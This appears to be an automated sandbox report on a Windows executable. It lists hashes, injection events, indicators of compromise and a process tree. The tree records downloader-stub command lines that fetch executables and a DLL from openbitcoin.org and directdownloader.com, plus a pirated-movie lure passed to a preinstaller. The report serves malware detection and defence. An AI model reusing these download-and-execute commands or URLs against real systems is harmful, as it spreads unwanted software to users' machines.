30b5cc2a12f6fbd355f04e20c5d419d7f37a0ef52fbf8bbaa30df9c086dbccac

Analysis

max time kernel
131s
max time network
190s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
24-12-2023 19:27

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

0d754dfa265c21deb3d2a9179ef73f78.exe
Size

492KB
MD5

0d754dfa265c21deb3d2a9179ef73f78
SHA1

41f02b3d06570373288d39c84e566feb6059996d
SHA256

30b5cc2a12f6fbd355f04e20c5d419d7f37a0ef52fbf8bbaa30df9c086dbccac
SHA512

7f62e731812e2564b02907e931bf6ecafe3f56849797567112b5b8450ddd26067fe54f36decf5133b4a6423cf3010f10d83003cb964d5e6b489bed9a51dcb63c
SSDEEP

6144:Kuk4fqjhbQqF6jtY03ZgLpp6TURimpBwXVUTL7E97IkXQxBRUoz0JehYvH7Aw0vn:w4fwx6peEUBwXVwM9vylzdYvH7AwCn

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 6 IoCs

pid	Process
2692	downloaderSTUB.exe
1744	downloaderSTUB.exe
2652	downloaderSTUB.exe
2572	downloaderDDLR.exe
2608	downloaderOFFER0.exe
628	preinstaller.exe

Loads dropped DLL 25 IoCs

pid	Process
2732	0d754dfa265c21deb3d2a9179ef73f78.exe
2732	0d754dfa265c21deb3d2a9179ef73f78.exe
2732	0d754dfa265c21deb3d2a9179ef73f78.exe
2732	0d754dfa265c21deb3d2a9179ef73f78.exe
2732	0d754dfa265c21deb3d2a9179ef73f78.exe
2732	0d754dfa265c21deb3d2a9179ef73f78.exe
1744	downloaderSTUB.exe
2652	downloaderSTUB.exe
2692	downloaderSTUB.exe
2608	downloaderOFFER0.exe
2572	downloaderDDLR.exe
2572	downloaderDDLR.exe
1744	downloaderSTUB.exe
2608	downloaderOFFER0.exe
2692	downloaderSTUB.exe
2652	downloaderSTUB.exe
2608	downloaderOFFER0.exe
2692	downloaderSTUB.exe
1744	downloaderSTUB.exe
2572	downloaderDDLR.exe
2652	downloaderSTUB.exe
1744	downloaderSTUB.exe
2608	downloaderOFFER0.exe
2572	downloaderDDLR.exe
2692	downloaderSTUB.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

NSIS installer 2 IoCs

installer

resource	yara_rule
behavioral1/files/0x0007000000016c17-6.dat	nsis_installer_1
behavioral1/files/0x0007000000016c17-6.dat	nsis_installer_2

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 2732 wrote to memory of 2692	2732	0d754dfa265c21deb3d2a9179ef73f78.exe	27
PID 2732 wrote to memory of 2692	2732	0d754dfa265c21deb3d2a9179ef73f78.exe	27
PID 2732 wrote to memory of 2692	2732	0d754dfa265c21deb3d2a9179ef73f78.exe	27
PID 2732 wrote to memory of 2692	2732	0d754dfa265c21deb3d2a9179ef73f78.exe	27
PID 2732 wrote to memory of 1744	2732	0d754dfa265c21deb3d2a9179ef73f78.exe	29
PID 2732 wrote to memory of 1744	2732	0d754dfa265c21deb3d2a9179ef73f78.exe	29
PID 2732 wrote to memory of 1744	2732	0d754dfa265c21deb3d2a9179ef73f78.exe	29
PID 2732 wrote to memory of 1744	2732	0d754dfa265c21deb3d2a9179ef73f78.exe	29
PID 2732 wrote to memory of 2652	2732	0d754dfa265c21deb3d2a9179ef73f78.exe	33
PID 2732 wrote to memory of 2652	2732	0d754dfa265c21deb3d2a9179ef73f78.exe	33
PID 2732 wrote to memory of 2652	2732	0d754dfa265c21deb3d2a9179ef73f78.exe	33
PID 2732 wrote to memory of 2652	2732	0d754dfa265c21deb3d2a9179ef73f78.exe	33
PID 2732 wrote to memory of 2572	2732	0d754dfa265c21deb3d2a9179ef73f78.exe	32
PID 2732 wrote to memory of 2572	2732	0d754dfa265c21deb3d2a9179ef73f78.exe	32
PID 2732 wrote to memory of 2572	2732	0d754dfa265c21deb3d2a9179ef73f78.exe	32
PID 2732 wrote to memory of 2572	2732	0d754dfa265c21deb3d2a9179ef73f78.exe	32
PID 2732 wrote to memory of 2608	2732	0d754dfa265c21deb3d2a9179ef73f78.exe	31
PID 2732 wrote to memory of 2608	2732	0d754dfa265c21deb3d2a9179ef73f78.exe	31
PID 2732 wrote to memory of 2608	2732	0d754dfa265c21deb3d2a9179ef73f78.exe	31
PID 2732 wrote to memory of 2608	2732	0d754dfa265c21deb3d2a9179ef73f78.exe	31
PID 2732 wrote to memory of 628	2732	0d754dfa265c21deb3d2a9179ef73f78.exe	30
PID 2732 wrote to memory of 628	2732	0d754dfa265c21deb3d2a9179ef73f78.exe	30
PID 2732 wrote to memory of 628	2732	0d754dfa265c21deb3d2a9179ef73f78.exe	30
PID 2732 wrote to memory of 628	2732	0d754dfa265c21deb3d2a9179ef73f78.exe	30
PID 2732 wrote to memory of 628	2732	0d754dfa265c21deb3d2a9179ef73f78.exe	30
PID 2732 wrote to memory of 628	2732	0d754dfa265c21deb3d2a9179ef73f78.exe	30
PID 2732 wrote to memory of 628	2732	0d754dfa265c21deb3d2a9179ef73f78.exe	30

C:\Users\Admin\AppData\Local\Temp\0d754dfa265c21deb3d2a9179ef73f78.exe
"C:\Users\Admin\AppData\Local\Temp\0d754dfa265c21deb3d2a9179ef73f78.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2732
- C:\Users\Admin\AppData\Local\Temp\05262c2c1c36cd88cf15110c6abc5376\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\05262c2c1c36cd88cf15110c6abc5376\downloaderSTUB.exe /U "http://www.openbitcoin.org/static/dist/obc.exe" /D "C:\Users\Admin\AppData\Local\Temp\05262c2c1c36cd88cf15110c6abc5376\stub.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2692
- C:\Users\Admin\AppData\Local\Temp\05262c2c1c36cd88cf15110c6abc5376\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\05262c2c1c36cd88cf15110c6abc5376\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/OpenCL.dll" /D "C:\Users\Admin\AppData\Local\Temp\05262c2c1c36cd88cf15110c6abc5376\OpenCL.dll"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:1744
- C:\Users\Admin\AppData\Local\Temp\05262c2c1c36cd88cf15110c6abc5376\preinstaller.exe
  C:\Users\Admin\AppData\Local\Temp\05262c2c1c36cd88cf15110c6abc5376\preinstaller.exe 0 "Abraham lincoln vampire hunter (2012) 720p bluray dts nl subs" "Download"
  2⤵
  - Executes dropped EXE
  PID:628
- C:\Users\Admin\AppData\Local\Temp\05262c2c1c36cd88cf15110c6abc5376\downloaderOFFER0.exe
  C:\Users\Admin\AppData\Local\Temp\05262c2c1c36cd88cf15110c6abc5376\downloaderOFFER0.exe /U "http://www.directdownloader.com/toolbars/optimizer.exe" /D "C:\Users\Admin\AppData\Local\Temp\05262c2c1c36cd88cf15110c6abc5376\optimizer.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2608
- C:\Users\Admin\AppData\Local\Temp\05262c2c1c36cd88cf15110c6abc5376\downloaderDDLR.exe
  C:\Users\Admin\AppData\Local\Temp\05262c2c1c36cd88cf15110c6abc5376\downloaderDDLR.exe /U "http://www.directdownloader.com/DirectDownloaderInstaller.exe" /D "C:\Users\Admin\AppData\Local\Temp\05262c2c1c36cd88cf15110c6abc5376\DirectDownloaderInstaller.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2572
- C:\Users\Admin\AppData\Local\Temp\05262c2c1c36cd88cf15110c6abc5376\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\05262c2c1c36cd88cf15110c6abc5376\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/updater.exe" /D "C:\Users\Admin\AppData\Local\Temp\05262c2c1c36cd88cf15110c6abc5376\updater.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2652

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

\Users\Admin\AppData\Local\Temp\05262c2c1c36cd88cf15110c6abc5376\downloaderSTUB.exe

Filesize
58KB

MD5
c7f6ed56312c8fbb58ae6ed445c38df4

SHA1
e2dba94ef052db774478b9f7198c1a2298b334e5

SHA256
fdb8452173a4f116f6e362ab5466c3c16bf6697502fe3d01db0d82f0e339de24

SHA512
ac43e5bb31c3c0876a7768553916cce76d92088e62594e8463b128a0d6e587c48152a5efcf0b2a5e8fb43028d46913df114ae3c3750b7e6c4212c7044518ba43

Download Submit
\Users\Admin\AppData\Local\Temp\05262c2c1c36cd88cf15110c6abc5376\preinstaller.exe

Filesize
213KB

MD5
06baef00ae0f0e42fc5fea24fc4eac42

SHA1
9161574590f09cfe4c24498827386ed57f2e8c58

SHA256
19460c3c1b450286c68fba77086c561e740374ae5c44213dd2ec22dc52a430b8

SHA512
29431ff9f16fdd4122a10dfec0f260a4397e776daae2ef17defae71e037f082d48d186a24d229c408c9d1b0b4f02aaeaa69011e44cf399795f9c09903ac51486

Download Submit
\Users\Admin\AppData\Local\Temp\nsdD97E.tmp\NSISdl.dll

Filesize
14KB

MD5
a5f8399a743ab7f9c88c645c35b1ebb5

SHA1
168f3c158913b0367bf79fa413357fbe97018191

SHA256
dacc88a12d3ba438fdae3535dc7a5a1d389bce13adc993706424874a782e51c9

SHA512
824e567f5211bf09c7912537c7836d761b0934207612808e9a191f980375c6a97383dbc6b4a7121c6b5f508cbfd7542a781d6b6b196ca24841f73892eec5e977

Download Submit
memory/628-59-0x0000000000400000-0x000000000043F000-memory.dmp

Filesize
252KB

Download
memory/2732-58-0x0000000000400000-0x0000000000444000-memory.dmp

Filesize
272KB

Download